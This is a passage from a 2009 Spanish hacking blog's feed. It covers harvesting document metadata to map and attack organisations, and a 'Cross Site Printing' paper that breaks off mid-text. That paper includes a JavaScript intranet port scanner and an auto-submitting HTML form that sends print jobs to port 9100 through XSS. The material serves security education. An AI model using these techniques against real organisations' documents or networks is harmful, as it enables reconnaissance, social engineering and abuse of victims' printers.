sacar objetos OLE (como ejemplo el script que hice en el artículo &lt;a href="http://0verl0ad.blogspot.com/2009/03/metadatos-i-nociones-basicas.html"&gt;Metadata I: Nociones básicas&lt;/a&gt; ). Otra opción puede ser pasar el archivo a otro formato... en el caso de .doc a .rtf (Rich Text Format) donde podremos ver mejor los metadatos....&lt;br /&gt;&lt;br /&gt;     El caso es que de primeras, para observar que esto de los metadatos es algo real, coged un editor hexadecimal y abrid cualquier documento Word que tengais a mano:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_uXtiiCW6OCQ/Sb5WEbN2UjI/AAAAAAAAAB0/Q_QdKqJfEQU/s1600-h/Dibujo.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_uXtiiCW6OCQ/Sb5WEbN2UjI/AAAAAAAAAB0/Q_QdKqJfEQU/s1600-h/Dibujo.bmp" alt="" id="BLOGGER_PHOTO_ID_5313781057872904242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     Si buscais un poquito podreis encontrar cosas como esta, donde podemos ver el nombre de usuario y el programa creador del documento. Si seguis viendo encontrareis otras cosas, en mi caso, puse un link a un recurso compartido y si observamos podemos encontrar el link:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_uXtiiCW6OCQ/Sb5Xt_C2wDI/AAAAAAAAAB8/sBN1ASVqy3w/s1600-h/Dibujo.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://2.bp.blogspot.com/_uXtiiCW6OCQ/Sb5Xt_C2wDI/AAAAAAAAAB8/sBN1ASVqy3w/s320/Dibujo.bmp" alt="" id="BLOGGER_PHOTO_ID_5313781057872904242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;       Quedaros con eso de PID_HLINKS, ya hablaremos de eso más adelante. Si os fijais también podeis encontrar la compañía (Dark). Como veis aparece una cosa interesante como puede ser \\maquina003\PoC\ejemplo C3LL  ... sería una cosa bastante interesante dar con algo como esto :D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Tras este primer vistazo, podemos entender porqué son importantes estos metadatos. Podemos llegar a esquematizar la estructura interna de una organización a partir de las rutas relativas, los dominios internos, las rutas de las imagenes que haya linkeadas, las impresoras externas; y además también podemos saber algunos software que usan, el tipo de impresora, etc... lo que si encontramos algo sobre lo que haya ya publicado en algun Bugtraq vulnerabilidades... tenemos la mitad del camino hecho.&lt;br /&gt;&lt;br /&gt;  A parte, también podemos sacar patrones de conductas y datos personales (nombres y apellidos, correo electrónicos, etc.) muy útiles a la hora de aplicar un poco de ingeniería social y de saber, por ejemplo, qué clase de permisos tiene cada usuario.&lt;br /&gt;&lt;br /&gt; Bien, pero aún podemos extraer más datos. Al exportar un archivo .doc sucio (es decir, sin haber limpiado los metadatos) a formato .rtf (Rich Text Format), y abrirlo con un block de notas optendremos una marañana de datos... entre los cuales encontraremos nuestros queridísimos metadatos:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Por si alguien no sabe como pasar a .rtf, simplemente abre el documento word, dale a guardar como y selecciones el formato RTF. Bien, si nadais entre ese cúmulo de caracteres sin sentido aparente (y sólo aparente) encontrareis las mísmas cosas que antes... pero si os fijais más aún y comprobais con otros documentos... vereis que hay una serie de coincidencias, a partir de las cuales podrás sacar datos intereantes:&lt;br /&gt;&lt;br /&gt;-Generator: es el programa que ha generado el documento (EJ: {\*\generator Microsoft Word 11.0.0000;} )&lt;br /&gt;-Author: El usuario que creo el archivo (EJ:{\author usuario})&lt;br /&gt;-Company: Compañía (EJ: {\*\company Dark})&lt;br /&gt;-&lt;span class="body"&gt;Revtbl: Usuarios que han creado/editado el archivo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Y despues hay otra serie de datos... tan sólo hechad un vistazo por ahí.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Continuará)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-9089314774557176660?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/9089314774557176660/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=9089314774557176660' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/9089314774557176660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/9089314774557176660'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/03/metadatos-ii-destripando-doc.html' title='Metadatos II: Destripando .DOC'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_uXtiiCW6OCQ/Sb5WEbN2UjI/AAAAAAAAAB0/Q_QdKqJfEQU/s72-c/Dibujo.bmp' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2034165443851525498</id><published>2009-03-15T02:47:00.002+01:00</published><updated>2009-03-15T03:27:06.202+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enumeración'/><category scheme='http://www.blogger.com/atom/ns#' term='Metadatos'/><title type='text'>Metadatos I: Nociones básicas</title><content type='html'>&lt;style&gt;code {color:lime;}&lt;/style&gt;Saludos lectores!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Antes de empezar quisiera pedir perdón por no haber posteado en estos últimos días, pero lo primero es la vida real y despues la virtual; y en este caso me ha tocado tomarme unos días para ver qué hacía con mi vida...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Dejando de lado mi descuido reciente en la publicación del blog, hoy vamos a hablar de los metadatos. Sí, ya sé que tengo pendiente lo de CSS Attacks, pero me han dicho "POstea algo rápido esta noche", y pss aprovechando que estaba con Lix hablando me he decidido a postear sobre este tema.&lt;br /&gt;&lt;br /&gt;      La idea ya me rondaba hacía tiempo... y entre el artículo sobre enumeración que voy a hacer para CPH (y por supuesto para el blog :P), las lecturas del blog de &lt;a href="http://elladodelmal.blogspot.com"&gt;Chema Alonso&lt;/a&gt; &lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;(que por cierto no me van a dejar asistir a una charla suya en la USAL, en unas jornadas de puertas abiertas... que de puertas abiertas los cojones, he ido a informarme y por estar matriculado en  Biología me han dicho que no puedo...), y en último lugar el próximo proyecto que vamos a comenzar Lix y yo (esperemos que salga algo tan interesante como lo fue en su momento "&lt;a href="http://seth.inkt.fdchost.com/manuales/bugs/HTTP_al_Descubierto_by_Sknight___Vengador_de_las_sombras.pdf"&gt;HTTP al descubierto&lt;/a&gt;") sobre metadatos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Empezaremos desde 0 para aquellos que no tienen ni idea de lo que son Metadatos. Son datos que aparecen dentro de un archivo (sea de las características que sea: .html, .doc, .xls, .pdf, .jpeg...) y cuyo contenido informa del propio archivo. Estas informaciones son variadas, y pueden abarcar desde el autor o el programa con el que si hizo el archivo, hasta impresoras remotas instaladas en nuestra red, pasando por rutas locales... etc.&lt;br /&gt;&lt;br /&gt;   Para aquellos que alguna vez se han codeado una web, conocerán los elementos html conocidos como "meta". Estos elementos de primeras pueden parecer que no sirven, pero hay aplicaciones (como los buscadores) que extraen algunas informaciones de estos elementos. Algunas cosas que se suelen poner en los meta de la cabecera del documento son el autor, la descripción de la página y alguna otra información trivial, como correo de contacto.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  En esta serie de artículos nos vamos a centrar en el trabajo de archivos de caracter ofimático y de imagen, ya que son los más difundidos sin tener cuidado y además hay más posibilidad de encontrar "algo".&lt;br /&gt;&lt;br /&gt;  Ya sabemos lo que son los metadatos, y te preguntarás para qué queremos conocerlos. Tranquilo, aunque al principio probablemente te parecerá que no son interesantes, a la larga comprenderás la importancia que tienen. Básicamente los vamos a emplear en una de las etapas que comprende cualquier ataque a una organización, la enumeración. En esta etapa lo que se hace es recabar todas las informaciones relevantes, como servicios que corren, puertos abiertos, versiones de aplicaciones, OS, nombres de usuario, estructura de la red interna, etc...&lt;br /&gt;&lt;br /&gt;  Si analizamos los metadatos de todos los archivos ofimáticos que hay colgados en la web de alguna organización interesante, seguro, seguro que obtenemos informaciones realmente jugosas.  En "El Arte de la Intrusión" (el artículo para CPH) aparecerán ejemplos descargables para practicar todo estoy comprobar en nuestro ordenador como podemos llegar a sacar cosas interesantes.&lt;br /&gt;&lt;br /&gt;   Mi intención es publicar primero esta introducción, mañana o pasado hablar sobre los metadatos en aplicaciones MS-Office, despues OpenOffice y por último poner unas cuantas herramientas para que tengais.&lt;br /&gt;&lt;br /&gt;  Para abrir boca, vamos a usar un pequeño script codeado en perl que usa Win32::OLE para sacar algunos datos. En nuestro caso, lo único interesante con lo que vamos a encontrarnos es con el autor... ya que en la mayoría de las ocasiones coincide con el nombre de la cuenta de usuario que creó ese archivo, por lo que es algo importante:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#########DataFoS.pl /Ejemplo nº 1#########&lt;br /&gt;# Codex by The X-C3LL                    #&lt;br /&gt;# Blog: http://0verl0ad.blogspot.com/    #&lt;br /&gt;# Ejemplo de extractor de datos básicos  #&lt;br /&gt;#      "El Arte de la Enumeración        #&lt;br /&gt;#                                        #&lt;br /&gt;############Flaming Our Skills############&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Declaramos los módulos a usar. Usaremos Win32::OLE para interactuar (la usaremos sobre todo&lt;br /&gt;#Cuando analicemos archivos de MS-Office&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;use Win32::OLE;&lt;br /&gt;&lt;br /&gt;if (!$ARGV[1]){&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#Seteamos las variables con las que vamos a trabajar&lt;br /&gt;my $ruta = $ARGV[0];&lt;br /&gt;my $arch = $ARGV[1];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my $shell  = Win32::OLE-&gt;new("Shell.Application") || die;&lt;br /&gt;my $folder = $shell-&gt;NameSpace($ruta) || die;&lt;br /&gt;my $file   = $folder-&gt;ParseName($arch) || die;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Montamos un array con los 34 campos que contienen info&lt;br /&gt;my @info = ("Name","Size","Type","Date Modified","Date Create", "Date Accessed", "Attributes","Status", "Owner", "Author", "Title", "Subject", "Category", "Pages", "Comments", "Copyright", "Artist", "Album Title","Year", "Track Number", "Genre", "Duration", "Bit Rate", "Protected", "Camera Model", "Date Picture Taken", "Dimensions", "Empty", "Empty", "Empty", "Company", "Description", "File Version", "Product Name", "Product Version");&lt;br /&gt;&lt;br /&gt;#Creamos un bucle while para sacar todos los campos&lt;br /&gt;#http://www.microsoft.com/technet/scriptcenter/guide/sas_fil_lunl.mspx?mfr=true&lt;br /&gt;&lt;br /&gt;#Con un bucle mostramos la info&lt;br /&gt;my $count = 0;&lt;br /&gt;foreach my $campo (@info){&lt;br /&gt;my $data = $folder-&gt;GetDetailsOf($file, $count);&lt;br /&gt;print $campo." : ".$data."\n";&lt;br /&gt;$count++;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El code lo he hecho en 10 minutos, así que no me he preocupado de que comprobase las extensiones, por lo que muestra todos los campos, y lógicamente los que son sólo para archivos multimedia (como canciones) van a estar vacíos.&lt;br /&gt;&lt;br /&gt;Reitero que esto es para abrir boca sólo y porque me han pedido que postease algo, ya mañana o pasado empezamos con lo interesante!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2034165443851525498?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2034165443851525498/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2034165443851525498' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2034165443851525498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2034165443851525498'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/03/metadatos-i-nociones-basicas.html' title='Metadatos I: Nociones básicas'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7171754811602456864</id><published>2009-02-20T23:10:00.004+01:00</published><updated>2009-02-24T00:05:03.693+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otras Vulnerabilidades'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>XSP: Cross Site Printing</title><content type='html'>&lt;style&gt;code{ color: lime;}&lt;/style&gt;Recien acabo de terminar este pequeño paper. Estoy esperando a que alguien le haga un mirror (tengo por ahí el PDF, si alguien quiere subirlo avisadme).&lt;br /&gt;&lt;br /&gt;Edito: he subido el paper a milw0rm-&gt; &lt;a href="http://www.milw0rm.com/papers/294"&gt;Cross Site Printing&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;==============================================================&lt;br /&gt;./0x00 Introducción al tema&lt;br /&gt;./0x01 Conceptos básicos&lt;br /&gt;./0x02 Buscando impresoras&lt;br /&gt;./0x03 El arte del ASCII&lt;br /&gt;./0x04 PostScript: controlando la impresión&lt;br /&gt;./0x05 Conclusión&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;./0x00 Introducción al tema&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El tema que venimos a tratar en este pequeño paper es la posibilidad desde el&lt;br /&gt;exterior (véase desde una web, por ejemplo) realizar un “ataque” (entrecomillémoslo)&lt;br /&gt;hacia las impresoras que tenemos en nuestra intranet. No es un tema transcendental ni&lt;br /&gt;mucho menos, pero para mí es algo que me resulta bastante curioso y que está poco&lt;br /&gt;documentado en castellano.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Realmente el impacto no lo considero grave ni mucho menos, bueno quizás en el&lt;br /&gt;caso de mandar FAXs el impacto puede ser económico… y alguna denegación de&lt;br /&gt;servicio también se puede lograr… pero salvo estos casos, en general sólo sirve para&lt;br /&gt;imprimir documentos en redes ajenas (un poquito de SPAM ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El Cross Site Printing no es más que una variante del Cross Site Scripting (XSS) de&lt;br /&gt;toda la vida, consistente en que al visitar una web, ésta contiene un código JavaScript&lt;br /&gt;que enviará una petición a la impresora donde mediante código PostScript podremos&lt;br /&gt;llegar hasta a “dibujar”. Auqnue no sólo con JavaScript, ya que podemos variar el&lt;br /&gt;ataque y convertirlo en uno usando las CSS (CSS Attack), cosa que ya veremos en su&lt;br /&gt;apartado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sobre la vulnerabilidad, decir que surge por una falta de previsión por parte de&lt;br /&gt;los fabricantes, los cuales no han pensado la posibilidad de colocar autentificaciones u&lt;br /&gt;algún otro sistema de identifiación, o de filtro de seguridad para evitar esto. He de decir,&lt;br /&gt;que en los últimos años según he estado leyendo recientemente, esto ya no es así, sino&lt;br /&gt;que algunos sistemas ya incorporan medidas de seguridad básicas… pero como casi&lt;br /&gt;todo hoy en día, tienen fallos aprovechables (podeis hechar un ojo poralgún bugtraq&lt;br /&gt;para ver algunas vulnes en impresoras).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;./0x01 Conceptos básicos&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Antes de poder meternos a fondo con el tema, necesitamos conocer ciertos&lt;br /&gt;conceptos básicos para poder entender más adelante todo lo que vamos a decir. Para&lt;br /&gt;empezar… ¿de qué forma saben las impresoras cómo es la descripción de la página&lt;br /&gt;que han de escribir?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para responder a esto, debemos de saber qué son los lenguajes de descripción&lt;br /&gt;de páginas. Los PDL (Page Description Language) son los encargados de describir la&lt;br /&gt;maquetación del texto, la disposición de elementos gráficos como objetos vectoriales o&lt;br /&gt;mapas de bits, el formato de las páginas, etc… Podemos encontrar diferentes PDLs&lt;br /&gt;dependiendo de la empresa fabricante de la impresora, así encontramos por ejemplo&lt;br /&gt;que HP usa PCL (Printer Command Language, es muy común confundir estas siglas con&lt;br /&gt;las de Printer Control Languages, siendo este último un sinónimo de PDL), Epson usa&lt;br /&gt;ESC/P (Epson Standar Code for Printers) y ESC/P2 (versión mejorada del anterior),&lt;br /&gt;Samsung tiene el SPL (Samsung Printer Language), y por último nombrar a Adobe y su&lt;br /&gt;PostScript. Estos son los más importantes, puesto que hay muchos más.&lt;br /&gt;De los PDL que hemos mencionado, nosotros nos vamos a central sobre todo en&lt;br /&gt;PCL y PostScript, puesto que son los que mayor transcendencia han tenido. De ambos&lt;br /&gt;lenguajes hablaremos más adelante con algo más de detalle, por ahora sólo hacer un&lt;br /&gt;par de apuntes interesantes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sobre PostScript, decir que fue de los primeros en ser un&lt;br /&gt;lenguaje de programación en sí, es decir, marca la diferencia con los demás sistemas de&lt;br /&gt;descripción de la época, los cuales se basaban en secuencias de caracteres de escape.&lt;br /&gt;También decir que implementó la composición de imágenes a través de líneas&lt;br /&gt;horizontales y curvas, nubes de píxeles y distintos tipos de tipografía. El formato PDF&lt;br /&gt;(Portable Document Format) es un derivado de PostScript.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para terminar de hablar de los PDLs, hablaremos de PCL. El PCL introducido por&lt;br /&gt;HP ha sido uno implementado por un gran número de fabricantes, por ello va ha ser&lt;br /&gt;sobre el que trabajemos. Los comandos de PCL son secuencias iniciadas por algún&lt;br /&gt;carácter de escape.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora toca hablar sobre los protocolos que usan las impresoras en red.&lt;br /&gt;Bien, vamos a hablar a grandes rasgos (puesto que en materia de protocolos sólo sé&lt;br /&gt;aquello que me ha ido haciendo falta) de los protocolos que suelen usar las impresoras.&lt;br /&gt;El primero es el LPD (Line Printer Daemon) y trabaja por el puerto 515.&lt;br /&gt;Después tenemos el IPP (Internet Printing Protocol) que está basado en el&lt;br /&gt;protocolo IP ,y construido sobre HTTP, permite la autentificación y el cifrado. Este&lt;br /&gt;protocolo envía una mayor cantidad de datos relacionados con el trabajo que otros&lt;br /&gt;protocolos. Utiliza el puerto 631.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El protocolo de recursos compartidos CIFS (Common Internet File System),&lt;br /&gt;anteriormente conocido como SMB (Server Message Block), también puede ser utilizado&lt;br /&gt;para la comunicación con impresoras dentro de una red. Este protocolo es empleado&lt;br /&gt;principalmente por Microsoft, aunque exite una implementación libre del protocolo&lt;br /&gt;llamada Samba que permite su utilización en sistemas operativos GNU/Linux. Los&lt;br /&gt;puertos que puede emplear son 137, 138 y 139.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y por último, sobre el que vamos a hablar en el paper, es el protocolo&lt;br /&gt;Raw TCP/IP, el cual trabaja por el puerto 9100.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;./0x02 Buscando Impresoras&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como ya hemos dicho, nosotros nos vamos a centrar en los ataques a&lt;br /&gt;través del protocolo Raw. Para realizar una búsqueda de impresoras dentro de nuestra&lt;br /&gt;intranet, o bien queremos hacerla hacia redes remotas (si estan mal configurada&lt;br /&gt;podemos acceder a las impresoras) tenemos varias opciones. La opción A es codearnos&lt;br /&gt;un programa sencillo en nuestro lenguaje preferido (en mi caso PERL) y lanzar sockets a&lt;br /&gt;direcciones IPs internas o hacer una búsqueda masiva. En cualquiera de los casos lo que&lt;br /&gt;debemos de hacer es tratar de ver si tiene el puerto 9100 abierto. En caso afirmativo&lt;br /&gt;hemos encontrado una impresora sobre la que trabajar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pero en este caso no estaríamos explotando ninguna vulnerabilidad ni&lt;br /&gt;nada similar… y sería aburrido. Recientemente he estado leyendo acerca de los&lt;br /&gt;Scanners de puertos en JavaScript y en CSS. Como ya dije al principio, el Cross Site&lt;br /&gt;Printing es una vulnerabilidad derivada de los XSS’s. Luego si un usuario visita una web&lt;br /&gt;vulnerable a XSS, y en el código malicioso incluimos el PortScanner, podremos saber la&lt;br /&gt;direcciones de las impresoras que hay en su red, y ahí atacar. Este pequeño concepto lo&lt;br /&gt;he sacado a partir de una idea que teníamos en mente S e t h y yo sobre analisis de&lt;br /&gt;intranets desde el exterior para combinarlo con Malwares contra routers… pero el&lt;br /&gt;concepto es portable a otros escenarios como es este.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aquí os dejo un ejemplo de un PortScanner en JavaScript:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;var AttackAPI = {&lt;br /&gt;version: '0.1',&lt;br /&gt;author: 'Petko Petkov (architect)',&lt;br /&gt;homepage: 'http://www.gnucitizen.org'};&lt;br /&gt;AttackAPI.PortScanner = {};&lt;br /&gt;AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout)&lt;br /&gt;{&lt;br /&gt;var timeout = (timeout == null)?100:timeout;&lt;br /&gt;var img = new Image();&lt;br /&gt;img.onerror = function () {&lt;br /&gt;if (!img) return;&lt;br /&gt;img = undefined;&lt;br /&gt;callback(target, port, 'open');&lt;br /&gt;};&lt;br /&gt;img.onload = img.onerror;&lt;br /&gt;img.src = 'http://' + target + ':' + port;&lt;br /&gt;setTimeout(function () {&lt;br /&gt;if (!img) return;&lt;br /&gt;img = undefined;&lt;br /&gt;callback(target, port, 'closed');&lt;br /&gt;}, timeout);&lt;br /&gt;};&lt;br /&gt;AttackAPI.PortScanner.scanTarget = function (callback, target, ports,&lt;br /&gt;timeout)&lt;br /&gt;{&lt;br /&gt;for (index = 0; index &amp;lt; ports.length; index++)&lt;br /&gt;AttackAPI.PortScanner.scanPort(callback, target,&lt;br /&gt;ports[index], timeout);&lt;br /&gt;};&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Mis conocimientos en JavaScript rozan casi la nulidad, por ello no he&lt;br /&gt;podido modificar este script para que busque impresoras en nuestra red, pero sí que&lt;br /&gt;tengo la idea de cómo se haría (me faltan los conocimientos sobre el lenguaje para&lt;br /&gt;poder expresarlas). La cosa sería crear unos bucles FOR que fueran creando diferentes&lt;br /&gt;IPs posibles incrementandolas (las que equivaldrían al Target) para que den lugar a las&lt;br /&gt;diferentes IPs de nuestra red (192.168.1.1, 192.168.1.2 y así sucesivamente) y aplicarle&lt;br /&gt;la función de escaneo a esas IPs, pero haciendo que únicamente revise el puerto 9100.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si alguien logra crear un scanner basandose en estas indicaciones, por&lt;br /&gt;favor envíadmelo para incluirlo en esta publicación.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;./0x03 El arte del Ascii&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya sabemos cómo encontrar impresoras en nuestra red y en ajenas, y&lt;br /&gt;además a través de que puerto vamos a trabajar. Ahora toca hablar sobre el “trabajo en&lt;br /&gt;sí”.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para comunicarnos con la impresora, y que ésta imprima debemos de&lt;br /&gt;hacer una conexión a ésta a través del puerto 9100. Esta conexión podemos establecerla&lt;br /&gt;de multiples maneras, como por ejemplo a través de NetCat, Telnet, Putty o algún otro&lt;br /&gt;sistema que permita negociaciones de este tipo. Pero, como nosotros queremos&lt;br /&gt;enfocarlo hacia el ataque desde una web, usarermos para la conexión nuestro&lt;br /&gt;navegador. Para ello, entremos a la URI http://IPdeTuImpresora:9100. Al añadir los : y el&lt;br /&gt;número, indicamos a nuestro navegador que se conecte a través del puerto que&lt;br /&gt;queramos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si todo ha salido bien, no debería de cargarte ninguna web, es decir,&lt;br /&gt;verías todo en blanco… y en la impresora algo recién impreso: la cabecera HTTP que&lt;br /&gt;enviástes. Ahora observar qué ocurre si mandais una petición tipo POST con por ejemplo&lt;br /&gt;la siguiente frase: “Lutscher si estás leyendo esto… vuelve con nosotros!!!!” usando&lt;br /&gt;Live HTTP Headers. La frase aparece impresa sí, pero se encuentra bajo URLEncoded, lo&lt;br /&gt;que podría no ser un texto legible con facilidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bien, volvamos al ejemplo de que tenemos cierta web vulnerable a XSS y&lt;br /&gt;combinando el scanner en JavaScript y añadiendo un formulario hidden que contenga&lt;br /&gt;nuestra frase, y haciendo que este se autosubmitee para que se mande a nuestra&lt;br /&gt;impresora (que sabremos por el scanner), podríamos hacer un poco de SPAM. Pero si realmente queremos mandar un mensaje o un dibujo en ASCII, el URLencode resulta&lt;br /&gt;engorroso. Esto podemos solventarlo si el formulario lo dejamos de esta forma:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;FORM ACTION='HTTP://YOURPRINTER:9100' NAME=”IMPRESORA”&lt;br /&gt;ENCTYPE='MULTIPART/FORM-DATA' METHOD='POST'&gt;&lt;br /&gt;&amp;lt;input type=”hidden” value=”Estas siendo Spammeado :O”&gt;&lt;br /&gt;&amp;lt;/FORM&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;A esto le añadimos la función de auto envío y ya. Aquí juega un papel&lt;br /&gt;importante podríamos decir el dibujar en ASCII para poder dar cierta mejor calidad a&lt;br /&gt;nuestro texto (añadir dibujos y esas cosas).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;./0x04 PostScript: Controlando la Impresión&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Al inicio del paper ya estuvimos hablando sobre los lenguajes PDL y dijimos que&lt;br /&gt;nosotros ibamos a usar PCL y PostScript para controlar diversas funciones. En este&lt;br /&gt;apartado, vamos a conocer nociones muy básicas de Post Script (para aprender más&lt;br /&gt;buscad algún manual) y cómo encapsularlo dentro de PCL.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Empecemos viendo como son los comandos en PS (a partir de ahora lo usaremos&lt;br /&gt;como abreviatura). A diferencia de los lenguajes que todos conocemos, en PS los&lt;br /&gt;parámetros de los comandos han de introducirse antes que el comando, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;100 300 moveto&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En este caso, moveto es el comando y sus parámetros son 100 y 300. Este&lt;br /&gt;comando sirve para mover el cursor hasta el punto de inicio del dibujo. Los dos valores&lt;br /&gt;que se indican antes hacen referencia a las coordenadas (utilizando como referencia&lt;br /&gt;píxeles, cosa que podemos modificar con otros comandos al igual que el tamaño del&lt;br /&gt;papel) x e y.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como todos sabemos desde la primaria, para dibujar una línea recta necesitamos&lt;br /&gt;dos puntos, y si ya tenemos uno ahora nos hace falta el punto final. Para ello usaremos&lt;br /&gt;lineto, cuya sintaxis es la misma que la de moveto:&lt;br /&gt;&lt;br /&gt;300 360 lineto&lt;br /&gt;&lt;br /&gt;Donde el primer valor indica las coordenadas en el eje X y el segundo en el eje Y.&lt;br /&gt;Pero no solo necesitamos esto antes de hacer una línea, sino que debemos de indicar el&lt;br /&gt;inicio de que se va a dibujar una línea con el comando newpath y el final con stroke. Con&lt;br /&gt;esta información ya podemos empezar a dibujar figuras rectilíneas simples:&lt;br /&gt;&lt;br /&gt;newpath&lt;br /&gt;150 150 moveto&lt;br /&gt;350 150 lineto&lt;br /&gt;350 300 lineto&lt;br /&gt;150 300 lineto&lt;br /&gt;150 150 lineto&lt;br /&gt;stroke&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aquí ya tendríamos un rectángulo. Exsiten múltiples programas que&lt;br /&gt;sirven para representar en pantalla el dibujo, de esta forma podremos trabajar mejor.&lt;br /&gt;Para indicar el ancho de línea con la que queremos que se realice nuestro&lt;br /&gt;dibujo, emplearemos el comando setlinewidth:&lt;br /&gt;&lt;br /&gt;X setlinewidth&lt;br /&gt;&lt;br /&gt;Siendo X el grosor de la línea indicado en píxeles.&lt;br /&gt;&lt;br /&gt;&lt;br 